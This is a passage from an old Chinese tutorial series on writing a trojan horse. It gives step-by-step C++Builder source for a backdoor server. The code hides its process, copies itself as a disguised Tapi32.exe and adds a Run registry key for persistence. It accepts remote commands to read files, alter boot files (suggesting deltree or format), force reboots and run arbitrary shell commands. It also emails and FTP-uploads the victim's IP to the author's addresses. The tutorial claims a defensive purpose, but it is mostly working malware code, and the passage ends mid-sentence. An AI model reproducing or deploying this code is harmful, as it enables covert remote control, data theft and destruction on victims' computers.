木马是如何编写的(一) 特洛依木马这个名词大家应该不陌生,自从98年“死牛崇拜”黑客小组公布Back Orifice以来,木马犹如平地上的惊雷,使在Dos??Windows时代中长大的中国网民从五彩缤纷的网络之梦中惊醒,终于认识到的网络也有它邪恶的一面,一时间人心惶惶。 我那时在《电脑报》上看到一篇文章,大意是一个菜鸟被人用BO控制了,吓得整天吃不下饭、睡不着觉、上不了网,到处求救!呵呵,要知道,木马(Trojan)的历史是很悠久的:早在AT&T Unix和BSD Unix十分盛行的年代,木马是由一些玩程式(主要是C)水平很高的年轻人(主要是老美)用C或Shell语言编写的,基本是用来窃取登陆主机的口令,以取得更高的权限。那时木马的主要方法是诱骗??先修改你的.profile文件,植入木马;当你登陆时将你敲入的口令字符存入一个文件,用Email的形式发到攻击者的邮箱里。国内的年轻人大都是在盗版Dos的熏陶下长大的,对网络可以说很陌生。直到Win9x横空出世,尤其是WinNt的普及,大大推动了网络事业的发展的时候,BO这个用三年后的眼光看起来有点简单甚至可以说是简陋的木马(甚至在Win9x的“关闭程序”对话框可以看到进程)给了当时中国人极大的震撼,它在中国的网络安全方面可以说是一个划时代的软件。 自己编写木马,听起来很Cool是不是?!木马一定是由两部分组成??服务器程序(Server)和客户端程序(Client),服务器负责打开攻击的道路,就像一个内奸特务;客户端负责攻击目标,两者需要一定的网络协议来进行通讯(一般是TCP/IP协议)。为了让大家更好的了解木马攻击技术,破除木马的神秘感,我就来粗略讲一讲编写木马的技术并顺便编写一个例子木马,使大家能更好地防范和查杀各种已知和未知的木马。 首先是编程工具的选择。目前流行的开发工具有C++Builder、VC、VB和Delphi,这里我们选用C++Builder(以下简称BCB);VC虽然好,但GUI设计太复杂,为了更好地突出我的例子,集中注意力在木马的基本原理上,我们选用可视化的BCB;Delphi也不错,但缺陷是不能继承已有的资源(如“死牛崇拜”黑客小组公布的BO2000源代码,是VC编写的,网上俯拾皆是);VB嘛,谈都不谈??难道你还给受害者传一个1兆多的动态链接库??Msvbvm60.dll吗? 启动C++Builder 5.0企业版,新建一个工程,添加三个VCL控件:一个是Internet页中的Server Socket,另两个是Fastnet页中的NMFTP和NMSMTP。Server Socket的功能是用来使本程序变成一个服务器程序,可以对外服务(对攻击者敞开大门)。Socket最初是在Unix上出现的,后来微软将它引入了Windows中(包括Win98和WinNt);后两个控件的作用是用来使程序具有FTP(File Transfer Protocol文件传输协议)和SMTP(Simple Mail Transfer Protocol简单邮件传输协议)功能,大家一看都知道是使软件具有上传下载功能和发邮件功能的控件。 Form窗体是可视的,这当然是不可思议的。不光占去了大量的空间(光一个Form就有300K之大),而且使软件可见,根本没什么作用。因此实际写木马时可以用一些技巧使程序不包含Form,就像Delphi用过程实现的小程序一般只有17K左右那样。 我们首先应该让我们的程序能够隐身。双击Form,首先在FormCreate事件中添加可使木马在Win9x的“关闭程序”对话框中隐藏的代码。这看起来很神秘,其实说穿了不过是一种被称之为Service的后台进程,它可以运行在较高的优先级下,可以说是非常靠近系统核心的设备驱动程序中的那一种。因此,只要将我们的程序在进程数据库中用RegisterServiceProcess()函数注册成服务进程(Service Process)就可以了。不过该函数的声明在Borland预先打包的头文件中没有,那么我们只好自己来声明这个位于KERNEL32.DLL中的鸟函数了。 首先判断目标机的操作系统是Win9x还是WinNt:{DWORD dwVersion = GetVersion();// 得到操作系统的版本号if (dwVersion >= 0x80000000)// 操作系统是Win9x,不是WinNt { typedef DWORD (CALLBACK* LPREGISTERSERVICEPROCESS)(DWORD,DWORD); file://定义RegisterServiceProcess()函数的原型 HINSTANCE hDLL; LPREGISTERSERVICEPROCESS lpRegisterServiceProcess; hDLL = LoadLibrary("KERNEL32"); file://加载RegisterServiceProcess()函数所在的动态链接库KERNEL32.DLL lpRegisterServiceProcess = (LPREGISTERSERVICEPROCESS)GetProcAddress(hDLL,"RegisterServiceProcess"); file://得到RegisterServiceProcess()函数的地址 lpRegisterServiceProcess(GetCurrentProcessId(),1); file://执行RegisterServiceProcess()函数,隐藏本进程 FreeLibrary(hDLL); file://卸载动态链接库 }} 这样就终于可以隐身了(害我敲了这么多代码!)。为什么要判断操作系统呢?因为WinNt中的进程管理器可以对当前进程一览无余,因此没必要在WinNt下也使用以上代码(不过你可以使用其他的方法,这个留到后面再讲)。接着再将自己拷贝一份到%System%目录下,例如:C:\Windows\System,并修改注册表,以便启动时自动加载:{ char TempPath[MAX_PATH];file://定义一个变量GetSystemDirectory(TempPath ,MAX_PATH);file://TempPath是system目录缓冲区的地址,MAX_PATH是缓冲区的大小,得到目标机的System目录路径SystemPath=AnsiString(TempPath);file://格式化TempPath字符串,使之成为能供编译器使用的样式CopyFile(ParamStr(0).c_str(), AnsiString(SystemPath+"\\Tapi32.exe").c_str() ,FALSE);file://将自己拷贝到%System%目录下,并改名为Tapi32.exe,伪装起来Registry=new TRegistry;file://定义一个TRegistry对象,准备修改注册表,这一步必不可少Registry->RootKey=HKEY_LOCAL_MACHINE;file://设置主键为HKEY_LOCAL_MACHINERegistry->OpenKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run",TRUE);file://打开键值Software\\Microsoft\\Windows\\CurrentVersion\\Run,如果不存在,就创建之try { file://如果以下语句发生异常,跳至catch,以避免程序崩溃 if(Registry->ReadString("crossbow")!=SystemPath+"\\Tapi32.exe") Registry->WriteString("crossbow",SystemPath+"\\Tapi32.exe"); file://查找是否有“crossbow”字样的键值,并且是否为拷贝的目录%System%+Tapi32.exe file://如果不是,就写入以上键值和内容 }catch(...) { file://如果有错误,什么也不做 }} 好,FormCreate过程完成了,这样每次启动都可以自动加载Tapi32.exe,并且在“关闭程序”对话框中看不见本进程了,木马的雏形初现。 接着选中ServerSocket控件,在左边的Object Inspector中将Active改为true,这样程序一启动就打开特定端口,处于服务器工作状态。再将Port填入4444,这是木马的端口号,当然你也可以用别的。但是你要注意不要用1024以下的低端端口,因为这样不但可能会与基本网络协议使用的端口相冲突,而且很容易被发觉,因此尽量使用1024以上的高端端口(不过也有这样一种技术,它故意使用特定端口,因为如果引起冲突,Windows也不会报错 ^_^)。你可以看一看TNMFTP控件使用的端口,是21号端口,这是FTP协议的专用控制端口(FTP Control Port);同理TNMSMTP的25号端口也是SMTP协议的专用端口。 再选中ServerSocket控件,点击Events页,双击OnClientRead事件,敲入以下代码:{ FILE *fp=NULL; char * content; int times_of_try; char TempFile[MAX_PATH]; file://定义了一堆待会儿要用到的变量 sprintf(TempFile, "%s", AnsiString(SystemPath+AnsiString("\\Win369.BAT")).c_str()); file://在%System%下建立一个文本文件Win369.bat,作为临时文件使用 AnsiString temp=Socket->ReceiveText(); file://接收客户端(攻击者,也就是你自己)传来的数据} 好,大门敞开了!接着就是修改目标机的各种配置了!^_^ 首先我们来修改Autoexec.bat和Config.sys吧:{if(temp.SubString(0,9)=="edit conf") file://如果接受到的字符串的前9个字符是“edit conf” { int number=temp.Length(); file://得到字符串的长度 int file_name=atoi((temp.SubString(11,1)).c_str()); file://将第11个字符转换成integer型,存入file_name变量 file://为什么要取第11个字符,因为第10个字符是空格字符 content=(temp.SubString(12,number-11)+'\n').c_str(); file://余下的字符串将被作为写入的内容写入目标文件 FILE *fp=NULL; char filename[20]; chmod("c:\\autoexec.bat",S_IREADS_IWRITE); chmod("c:\\config.sys",S_IREADS_IWRITE); file://将两个目标文件的属性改为可读可写 if(file_name==1) sprintf(filename,"%s","c:\\autoexec.bat"); file://如果第11个字符是1,就把Autoexec.bat格式化 else if(file_name==2) sprintf(filename,"%s","c:\\config.sys"); file://如果第11个字符是1,就把Config.sys格式化 times_of_try=0; file://定义计数器 while(fp==NULL) { file://如果指针是空 fp=fopen(filename,"a+"); file://如果文件不存在,创建之;如果存在,准备在其后添加 file://如果出错,文件指针为空,这样就会重复 times_of_try=times_of_try+1; file://计数器加1 if(times_of_try>100) { file://如果已经试了100次了,仍未成功 Socket->SendText("Fail By Open File"); file://就发回“Fail By Open File”的错误信息 goto END; file://跳至END处 } } fwrite(content,sizeof(char),strlen(content),fp); file://写入添加的语句,例如deltree/y C:或者format/q/autotest C:,够毒吧?! fclose(fp); file://写完后关闭目标文件 Socket->SendText("Sucess"); file://然后发回“Success”的成功信息 }}上回我们讲到如何修改目标机上的启动配置文件,这回我们就来查看目标机上的目录树和文件吧,这在客户端上使用“dir”命令,跟着敲?:{else if(temp.SubString(0,3)=="dir") { file://如果前3个字符是“dir” int Read_Num; char * CR_LF="\n"; int attrib; char *filename; DIR *dir; struct dirent *ent; int number=temp.Length(); file://得到字符串的长度 AnsiString Dir_Name=temp.SubString(5,number-3); file://从字符串第六个字符开始,将后面的字符存入Dir_Name变量,这是目录名 if(Dir_Name=="") { file://如果目录名为空 Socket->SendText("Fail By Open DIR's Name"); file://返回“Fail By Open DIR's Name”信息 goto END; file://跳到END } char * dirname; dirname=Dir_Name.c_str(); if ((dir = opendir(dirname)) == NULL) { file://如果打开目录出错 Socket->SendText("Fail by your DIR's name!"); file://返回“Fail By Your DIR's Name”信息 goto END; file://跳到END } times_of_try=0; while(fp==NULL) { file://如果指针是NULL fp=fopen(TempFile,"w+"); file://就创建system\Win369.bat准备读和写;如果此文件已存在,则会被覆盖 times_of_try=times_of_try+1; file://计数器加1 if(times_of_try>100) { file://如果已经试了100次了,仍未成功(真有耐心!) Socket->SendText("Fail By Open File"); file://就发回“Fail By Open File”的错误信息 goto END; file://并跳到END处 } } while ((ent = readdir(dir)) != NULL) { file://如果访问目标目录成功 if(*(AnsiString(dirname)).AnsiLastChar()!='\\') file://如果最后一个字符不是“\”,证明不是根目录 filename=(AnsiString(dirname)+"\\"+ent->d_name).c_str(); file://加上“\”字符后将指针指向目录流 else filename=(AnsiString(dirname)+ent->d_name).c_str(); file://如果是根目录,则不用加“\” attrib=_rtl_chmod(filename, 0); file://得到目标文件的访问属性 if (attrib & FA_RDONLY) file://“&”字符是比较前后两个变量,如果相同返回1,否则返回0 fwrite(" R",sizeof(char),3,fp); file://将目标文件属性设为只读 else fwrite(" ",sizeof(char),3,fp); file://失败则写入空格 if (attrib & FA_HIDDEN) fwrite("H",sizeof(char),1,fp); file://将目标文件属性设为隐藏 else fwrite(" ",sizeof(char),1,fp); file://失败则写入空格 if (attrib & FA_SYSTEM) fwrite("S",sizeof(char),1,fp); file://将目标文件属性设为系统 else fwrite(" ",sizeof(char),1,fp); file://失败则写入空格 if (attrib & FA_ARCH) fwrite("A",sizeof(char),1,fp); file://将目标文件属性设为普通 else fwrite(" ",sizeof(char),1,fp); file://失败则写入空格 if (attrib & FA_DIREC) fwrite(" <DIR> ",sizeof(char),9,fp); file://将目标文件属性设为目录 else fwrite(" ",sizeof(char),9,fp); file://失败则写入空格 fwrite(ent->d_name,sizeof(char),strlen(ent->d_name),fp); file://将目录名写入目标文件 fwrite(CR_LF,1,1,fp); file://写入换行 } fclose(fp); file://关闭文件 closedir(dir); file://关闭目录 FILE *fp1=NULL; times_of_try=0; while(fp1==NULL) { fp1=fopen(TempFile,"r"); file://打开Win369.bat准备读 times_of_try=times_of_try+1; file://计数器加1 if(times_of_try>100) { file://如果已经试了100次了,仍未成功 Socket->SendText("Fail By Open File"); file://就发回“Fail By Open File”的错误信息 goto END; file://并跳到END处 } } AnsiString Return_Text=""; char temp_content[300]; for(int i=0;i<300;i++) temp_content[i]='\0'; file://定义的一个空数组 Read_Num=fread(temp_content,1,300,fp1); file://从目标文件中读入前300个字符 while(Read_Num==300) { Return_Text=Return_Text+temp_content; file://Return_Text变量加上刚才的300个字符 for(int i=0;i<300;i++) temp_content[i]='\0'; Read_Num=fread(temp_content,1,300,fp1); file://重复 }; Return_Text=Return_Text+temp_content; file://Return_Text变量加上刚才的300个字符 fclose(fp1); file://关闭目标文件 Socket->SendText(Return_Text); file://返回Return_Text变量的内容 }} 够长吧?!察看目录树这么费劲啊?!你后面可以用BCB中的各种列表框对Client.exe好好美化美化。接下来就是查看指定文件的内容了,Client将使用“type”命令,(手指累不累啊?):{else if(temp.SubString(0,4)=="type") { file://如果前4个字符是“type” int Read_Num; int number=temp.Length(); AnsiString File_Name=temp.SubString(6,number-4); file://将目标文件流存入File_Name变量中 times_of_try=0; while(fp==NULL) { fp=fopen(File_Name.c_str(),"r"); file://打开目标文件准备读 times_of_try=times_of_try+1; file://计数器加1 if(times_of_try>100) { file://如果已试了100次了 Socket->SendText("Fail By Open File"); file://返回“Fail By Open File”的错误信息 goto END; file://跳到END } } AnsiString Return_Text=""; char temp_content[300]; for(int i=0;i<300;i++) temp_content[i]='\0'; file://定义一个空数组 Read_Num=fread(temp_content,1,300,fp); file://从目标文件中读入前300个字符 while(Read_Num==300) { Return_Text=Return_Text+temp_content; file://Return_Text的内容加上刚才的字符 for(int i=0;i<300;i++) temp_content[i]='\0'; Read_Num=fread(temp_content,1,300,fp); file://重复 }; Return_Text=Return_Text+temp_content; file://Return_Text的内容加上刚才的字符 fclose(fp); file://关闭目标文件 Socket->SendText(Return_Text); file://返回Return_Text的内容,即你查看文件的内容 }} 咳咳!累死了!还是来点轻松的吧??操纵目标机的光驱(注意:mciSendString()函数的声明在mmsystem.h头文件中):{else if(temp=="open") { file://如果收到的temp的内容是“open” mciSendString("set cdaudio door open", NULL, 0, NULL); file://就弹出光驱的托盘 }else if(temp=="close") { file://如果收到的temp的内容是“close” mciSendString("Set cdaudio door closed wait", NULL, 0, NULL); file://就收入光驱的托盘。当然你也可以搞个死循环,让他的光驱好好活动活动!^_^ }} 接着就是交换目标机的鼠标左右键,代码如下:{else if(temp=="swap") { SwapMouseButton(1); file://交换鼠标左右键,简单吧? }} 然后就是使目标机重新启动。但这里要区分WinNt和Win9x??NT非常注重系统每个进程的权利,一个普通的进程是不应具备有调用系统的权利的,因此我们要赋予本程序足够的权限:{else if(temp=="reboot") { file://如果收到的temp的内容是“temp” DWORD dwVersion = GetVersion(); file://得到操作系统的版本号 if (dwVersion < 0x80000000) { file://操作系统是WinNt,不是Win9x HANDLE hToken; TOKEN_PRIVILEGES tkp; file://定义变量 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES TOKEN_QUERY, &hToken); file://OpenProcessToken()这个函数的作用是打开一个进程的访问令牌 file://GetCurrentProcess()函数的作用是得到本进程的句柄 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); file://LookupPrivilegeValue()的作用是修改进程的权限 tkp.PrivilegeCount = 1; file://赋给本进程特权 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); file://AdjustTokenPrivileges()的作用是通知Windows NT修改本进程的权利 ExitWindowsEx(EWX_REBOOT EWX_FORCE, 0); file://强行退出WinNt并重启 } else ExitWindowsEx(EWX_FORCE+EWX_REBOOT,0); file://强行退出Win9x并重启 }} 如果以上都不是,就让它在Dos窗口中执行传来的命令:{else { file://如果都不是 char * CR_TF="\n"; times_of_try=0; while(fp==NULL) { fp=fopen(TempFile,"w+"); file://创建Win369.bat,如果已存在就覆盖 times_of_try=times_of_try+1; file://计数器加1 if(times_of_try>100) { Socket->SendText("Fail By Open File"); file://返回“Fail By Open File”的信息 goto END; file://跳到END } } fwrite(temp.c_str(),sizeof(char),strlen(temp.c_str()),fp); file://写入欲执行的命令 fwrite(CR_TF,sizeof(char),strlen(CR_TF),fp); file://写入换行符 fclose(fp); file://关闭Win369.bat system(TempFile); file://执行Win369.bat Socket->SendText("Success"); file://返回“Success”信息 }} 你可以直接执行什么Ping和Tracert之类的命令来进一步刺探目标机的网络状况(判断是否是一个企业的局域网),然后可以进一步攻击,比如Deltree和Format命令。^_^ 到此,服务器程序的功能已全部完成,但还差容错部分未完成,这样才能避免程序因意外而崩溃。朋友,别走开!(未完待续) 木马是如何编写的(三) 武汉 周侃 上次已编写完服务器端的各种功能,但还差容错部分还未完成,下面我们Go on! 其代码如下(照敲不误 ^_^):{END:; Socket->Close(); file://关闭服务 ServerSocket1->Active =true; file://再次打开服务 if (NMSMTP1->Connected) NMSMTP1->Disconnect(); file://如果SMTP服务器已连接则断开 NMSMTP1->Host = "smtp.163.net"; file://选一个好用的SMTP服务器,如163、263、sina和btamail NMSMTP1->UserID = ""; file://你SMTP的ID try { NMSMTP1->Connect(); file://再次连接 } catch(...) { goto NextTime; file://跳到NextTime } NMSMTP1->PostMessage->FromAddress ="I don't know!"; file://受害者的Email地址 NMSMTP1->PostMessage->FromName = "Casualty"; file://受害者的名字 NMSMTP1->PostMessage->ToAddress->Text = "crossbow@8848.net"; file://将信发到我的邮箱,这一步很关键 NMSMTP1->PostMessage->Body->Text = AnsiString("Server Running on:") + NMSMTP1->LocalIP ; file://信的内容提示你“服务器正在运行”,并且告诉你受害者的目前的IP地址,以便连接 NMSMTP1->PostMessage->Subject = "Server Running Now!"; file://信的主题 NMSMTP1->SendMail(); file://发送! return; file://返回NextTime: NMFTP1->Host = "ftp.go.163.com"; file://你的FTP服务器的地址 NMFTP1->UserID = ""; file://你的用户ID NMFTP1->Port = 21; file://FTP端口号,一般为21 NMFTP1->Password = ""; file://你的FTP的密码 if(NMFTP1->Connected) NMFTP1->Disconnect(); file://如果已连接就断开 try { NMFTP1->Connect(); file://再连接 } catch(...) { return; file://返回 } AnsiString SendToSite = "Server Running on: " + NMFTP1->RemoteIP; file://受害者的IP地址 FILE * Upload; Upload = fopen(NMFTP1->RemoteIP.c_str(),"w+"); file://创建一个新文件准备写,如果已存在就覆盖 fwrite(SendToSite.c_str(),sizeof(char),SendToSite.Length(),Upload); file://写入以上的SendToSite的内容 fclose(Upload); file://写完后关闭此文件 NMFTP1->RemoveDir("public_html"); file://删除public_html目录 NMFTP1->Upload(NMFTP1->RemoteIP, NMFTP1->RemoteIP); file://上传!} 啊,超长的OnClientRead事件终于写完了。最后别忘了要在此服务器源码文件中添加以下头文件:#include <stdlib.h>#include <dirent.h>#include <fcntl.h>#include <dos.h>#include <sys\stat.h>#include <winbase.h>#include <stdio.h>#include <process.h>#include <io.h>#include <mmsystem.h> 至此,服务器端(Server)程序已全部